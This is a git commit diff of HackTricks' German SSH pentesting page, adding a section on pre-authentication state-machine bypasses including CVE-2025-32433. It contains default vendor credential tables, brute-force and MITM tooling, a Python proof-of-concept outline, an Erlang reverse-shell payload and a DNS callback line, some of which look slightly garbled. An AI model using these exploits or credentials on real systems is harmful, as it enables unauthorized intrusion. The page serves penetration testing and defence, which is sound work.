mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-ssh.md'] to de
This commit is contained in:
parent
8dfc571a7b
commit
aa9dbf6a80
@ -17,9 +17,9 @@
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH-Implementierung für Windows, der Client wird häufig verwendet, die Nutzung des Servers ist seltener
|
||||
- [CopSSH](https://www.itefix.net/copssh) – Implementierung von OpenSSH für Windows
|
||||
|
||||
**SSH-Bibliotheken (Server-seitige Implementierung):**
|
||||
**SSH-Bibliotheken (Server-seitig implementiert):**
|
||||
|
||||
- [libssh](https://www.libssh.org) – plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh); wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
|
||||
- [libssh](https://www.libssh.org) – plattformübergreifende C-Bibliothek, die das SSHv2-Protokoll mit Bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) und [R](https://github.com/ropensci/ssh) implementiert; wird von KDE für sftp und von GitHub für die git SSH-Infrastruktur verwendet
|
||||
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2-Serverbibliothek, die in ANSI C geschrieben ist und für eingebettete, RTOS- und ressourcenbeschränkte Umgebungen ausgelegt ist
|
||||
- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD Java-Bibliothek basiert auf Apache MINA
|
||||
- [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2-Protokollbibliothek
|
||||
@ -45,7 +45,7 @@ ssh-audit ist ein Tool zur Überprüfung der Konfiguration von SSH-Servern und -
|
||||
- Algorithmusinformationen ausgeben (verfügbar seit, entfernt/deaktiviert, unsicher/schwach/legacy usw.);
|
||||
- Algorithmusempfehlungen ausgeben (hinzufügen oder entfernen basierend auf der erkannten Softwareversion);
|
||||
- Sicherheitsinformationen ausgeben (verwandte Probleme, zugewiesene CVE-Liste usw.);
|
||||
- Analyse der SSH-Versionen-Kompatibilität basierend auf Algorithmusinformationen;
|
||||
- Kompatibilität der SSH-Version basierend auf Algorithmusinformationen analysieren;
|
||||
- Historische Informationen von OpenSSH, Dropbear SSH und libssh;
|
||||
- Läuft auf Linux und Windows;
|
||||
- Keine Abhängigkeiten
|
||||
@ -69,7 +69,7 @@ use -t to change timeout)
|
||||
(default: 5)
|
||||
$ python3 ssh-audit <IP>
|
||||
```
|
||||
[Siehe es in Aktion (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
[Sieh es dir in Aktion an (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp)
|
||||
|
||||
### Öffentlicher SSH-Schlüssel des Servers
|
||||
```bash
|
||||
@ -93,7 +93,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
## Brute-Force-Benutzernamen, Passwörter und private Schlüssel
|
||||
|
||||
### Benutzernamen-Enumeration
|
||||
### Benutzernamenenumeration
|
||||
|
||||
In einigen Versionen von OpenSSH können Sie einen Timing-Angriff durchführen, um Benutzer zu enumerieren. Sie können ein Metasploit-Modul verwenden, um dies auszunutzen:
|
||||
```
|
||||
@ -105,7 +105,7 @@ Einige gängige ssh-Anmeldeinformationen [hier](https://github.com/danielmiessle
|
||||
|
||||
### Private Key Brute Force
|
||||
|
||||
Wenn Sie einige ssh-Private-Keys kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:
|
||||
Wenn Sie einige ssh-private Schlüssel kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:
|
||||
```
|
||||
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
|
||||
```
|
||||
@ -113,7 +113,7 @@ Oder das MSF-Hilfsmodul:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Oder verwenden Sie `ssh-keybrute.py` (natives python3, leichtgewichtig und mit aktivierten Legacy-Algorithmen): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
Or use `ssh-keybrute.py` (native python3, leichtgewichtig und hat veraltete Algorithmen aktiviert): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Bekannte schlechte Schlüssel finden Sie hier:
|
||||
|
||||
@ -129,7 +129,7 @@ Sie sollten hier nach gültigen Schlüsseln für die Zielmaschine suchen.
|
||||
|
||||
### Kerberos
|
||||
|
||||
**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` verwenden, um **über Kerberos zu authentifizieren**.\
|
||||
**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` nutzen, um **über Kerberos zu authentifizieren**.\
|
||||
Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
|
||||
|
||||
## Standardanmeldeinformationen
|
||||
@ -137,7 +137,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
|
||||
| **Anbieter** | **Benutzernamen** | **Passwörter** |
|
||||
| ------------ | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
@ -147,7 +147,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
|
||||
@ -158,10 +158,10 @@ Wenn Sie sich im lokalen Netzwerk des Opfers befinden, das sich mit Benutzername
|
||||
**Angriffsweg:**
|
||||
|
||||
- **Traffic-Umleitung:** Der Angreifer **leitet** den Datenverkehr des Opfers auf seine Maschine um und **unterbricht** effektiv den Verbindungsversuch zum SSH-Server.
|
||||
- **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als legitimer SSH-Server ausgibt.
|
||||
- **Abfangen und Protokollieren:** Die Maschine des Angreifers fungiert als **Proxy**, der die Anmeldedaten des Benutzers erfasst, indem sie sich als der legitime SSH-Server ausgibt.
|
||||
- **Befehlsausführung und Weiterleitung:** Schließlich **protokolliert** der Server des Angreifers die Anmeldeinformationen des Benutzers, **leitet die Befehle** an den echten SSH-Server weiter, **führt** sie aus und **sendet die Ergebnisse zurück** an den Benutzer, wodurch der Prozess nahtlos und legitim erscheint.
|
||||
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) tut genau das, was oben beschrieben ist.
|
||||
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) macht genau das, was oben beschrieben ist.
|
||||
|
||||
Um den tatsächlichen MitM durchzuführen, könnten Sie Techniken wie ARP-Spoofing, DNS-Spoofing oder andere, die in den [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) beschrieben sind, verwenden.
|
||||
|
||||
@ -176,7 +176,7 @@ SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus:
|
||||
3. Versuchen Sie, sich mit allen entdeckten Privatschlüsseln in alle Ziele einzuloggen,
|
||||
4. Wenn eine Verbindung zu einem Ziel erfolgreich hergestellt wird, wiederholen Sie die Schritte #1 - #4 auf dem verbundenen System.
|
||||
|
||||
Es ist vollständig selbstreplizierend und selbstverbreitend – und vollständig dateilos.
|
||||
Es ist vollständig selbstreplicierend und selbstverbreitend – und vollständig dateilos.
|
||||
|
||||
## Konfigurationsfehler
|
||||
|
||||
@ -197,7 +197,7 @@ Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen
|
||||
|
||||
### SFTP-Befehlsausführung
|
||||
|
||||
Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen.
|
||||
Es gibt einen häufigen Fehler bei SFTP-Setups, bei dem Administratoren beabsichtigen, dass Benutzer Dateien austauschen, ohne den Zugriff auf die Remote-Shell zu aktivieren. Trotz der Einstellung von Benutzern mit nicht-interaktiven Shells (z. B. `/usr/bin/nologin`) und der Einschränkung auf ein bestimmtes Verzeichnis bleibt eine Sicherheitslücke bestehen. **Benutzer können diese Einschränkungen umgehen**, indem sie die Ausführung eines Befehls (wie `/bin/bash`) sofort nach dem Einloggen anfordern, bevor ihre vorgesehene nicht-interaktive Shell übernimmt. Dies ermöglicht die unbefugte Ausführung von Befehlen und untergräbt die beabsichtigten Sicherheitsmaßnahmen.
|
||||
|
||||
[Beispiel von hier](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
@ -242,7 +242,7 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **Symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich** sein, aber wenn Sie auf den erstellten **Symlink** von einem **no-chroot** **Dienst** zugreifen können (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können), könnten Sie **die symlinkten Dateien über das Web öffnen**.
|
||||
Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **Symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich sein**, aber wenn Sie auf den erstellten **Symlink** von einem **no-chroot** **Dienst** (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können) zugreifen können, könnten Sie **die symlinkten Dateien über das Web öffnen**.
|
||||
|
||||
Zum Beispiel, um einen **Symlink** von einer neuen Datei **"**_**froot**_**" zu "**_**/**_**"** zu erstellen:
|
||||
```bash
|
||||
@ -252,7 +252,7 @@ Wenn Sie auf die Datei "_froot_" über das Web zugreifen können, sind Sie in de
|
||||
|
||||
### Authentifizierungsmethoden
|
||||
|
||||
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache passwortbasierte Authentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
|
||||
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache faktorenbasierte Passwortauthentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
@ -267,7 +267,7 @@ debug1: Next authentication method: password
|
||||
```
|
||||
Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um sicherzustellen, dass nur die erwarteten Methoden autorisiert sind. Die Verwendung des ausführlichen Modus auf dem Client kann helfen, die Effektivität der Konfiguration zu sehen.
|
||||
|
||||
### Config-Dateien
|
||||
### Config files
|
||||
```bash
|
||||
ssh_config
|
||||
sshd_config
|
||||
@ -281,10 +281,66 @@ id_rsa
|
||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||||
|
||||
Mehrere SSH-Server-Implementierungen enthalten logische Fehler in der **Authentifizierungs-Endzustandsmaschine**, die es einem Client ermöglichen, *Verbindungsprotokoll*-Nachrichten **vor** Abschluss der Authentifizierung zu senden. Da der Server nicht überprüft, dass er sich im richtigen Zustand befindet, werden diese Nachrichten so behandelt, als wäre der Benutzer vollständig authentifiziert, was zu **unauthentifiziertem Codeausführung** oder Sitzungscreation führt.
|
||||
|
||||
Auf Protokollebene gehört jede SSH-Nachricht mit einem _Nachrichtencode_ **≥ 80** (0x50) zur *Verbindungsschicht* (RFC 4254) und muss **nur nach erfolgreicher Authentifizierung akzeptiert werden** (RFC 4252). Wenn der Server eine dieser Nachrichten verarbeitet, während er sich noch im *SSH_AUTHENTICATION*-Zustand befindet, kann der Angreifer sofort einen Kanal erstellen und Aktionen wie die Ausführung von Befehlen, Port-Weiterleitung usw. anfordern.
|
||||
|
||||
### Generic Exploitation Steps
|
||||
1. Stellen Sie eine TCP-Verbindung zum SSH-Port des Ziels her (gewöhnlich 22, aber andere Dienste können Erlang/OTP auf 2022, 830, 2222… bereitstellen).
|
||||
2. Erstellen Sie ein rohes SSH-Paket:
|
||||
* 4-Byte **packet_length** (big-endian)
|
||||
* 1-Byte **message_code** ≥ 80 (z.B. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Payload, die vom gewählten Nachrichtentyp verstanden wird
|
||||
3. Senden Sie das/die Paket(e) **vor Abschluss eines Authentifizierungsschrittes**.
|
||||
4. Interagieren Sie mit den Server-APIs, die jetzt _pre-auth_ exponiert sind (Befehlsausführung, Portweiterleitung, Dateisystemzugriff, …).
|
||||
|
||||
Python proof-of-concept outline:
|
||||
```python
|
||||
import socket, struct
|
||||
HOST, PORT = '10.10.10.10', 22
|
||||
s = socket.create_connection((HOST, PORT))
|
||||
# skip version exchange for brevity – send your own client banner then read server banner
|
||||
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||||
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||||
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
In der Praxis müssen Sie den Schlüsselaustausch je nach Zielimplementierung durchführen (oder überspringen), aber **keine Authentifizierung** wird jemals durchgeführt.
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **Betroffene Versionen:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **Ursache:** Der native SSH-Daemon von Erlang validiert den aktuellen Zustand nicht, bevor er `ssh_connection:handle_msg/2` aufruft. Daher erreicht jedes Paket mit einem Nachrichten-Code von 80-255 den Verbindungs-Handler, während sich die Sitzung noch im *userauth*-Zustand befindet.
|
||||
* **Auswirkungen:** nicht authentifizierte **Remote-Code-Ausführung** (der Daemon läuft normalerweise als **root** auf eingebetteten/OT-Geräten).
|
||||
|
||||
Beispiel-Payload, die eine umgekehrte Shell erzeugt, die an den vom Angreifer kontrollierten Kanal gebunden ist:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
```
|
||||
Blind RCE / out-of-band detection kann über DNS durchgeführt werden:
|
||||
```erlang
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
Detection & Mitigation:
|
||||
* Überprüfen Sie den SSH-Verkehr: **verwerfen Sie jedes Paket mit einer Nachrichtenkodierung ≥ 80, das vor der Authentifizierung beobachtet wird**.
|
||||
* Aktualisieren Sie Erlang/OTP auf **27.3.3 / 26.2.5.11 / 25.3.2.20** oder neuer.
|
||||
* Beschränken Sie die Exposition von Verwaltungsports (22/2022/830/2222) – insbesondere bei OT-Geräten.
|
||||
|
||||
---
|
||||
### Andere betroffene Implementierungen
|
||||
* **libssh** 0.6 – 0.8 (Server-Seite) – **CVE-2018-10933** – akzeptiert ein nicht authentifiziertes `SSH_MSG_USERAUTH_SUCCESS`, das vom Client gesendet wird, was effektiv den umgekehrten Logikfehler darstellt.
|
||||
|
||||
Die allgemeine Lektion ist, dass jede Abweichung von den im RFC vorgeschriebenen Zustandsübergängen fatal sein kann; achten Sie beim Überprüfen oder Fuzzing von SSH-Daemons besonders auf *Zustandsmaschinen-Durchsetzung*.
|
||||
|
||||
## References
|
||||
|
||||
- Sie können interessante Anleitungen finden, wie Sie SSH absichern können, unter [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
Loading…
x
Reference in New Issue
Block a user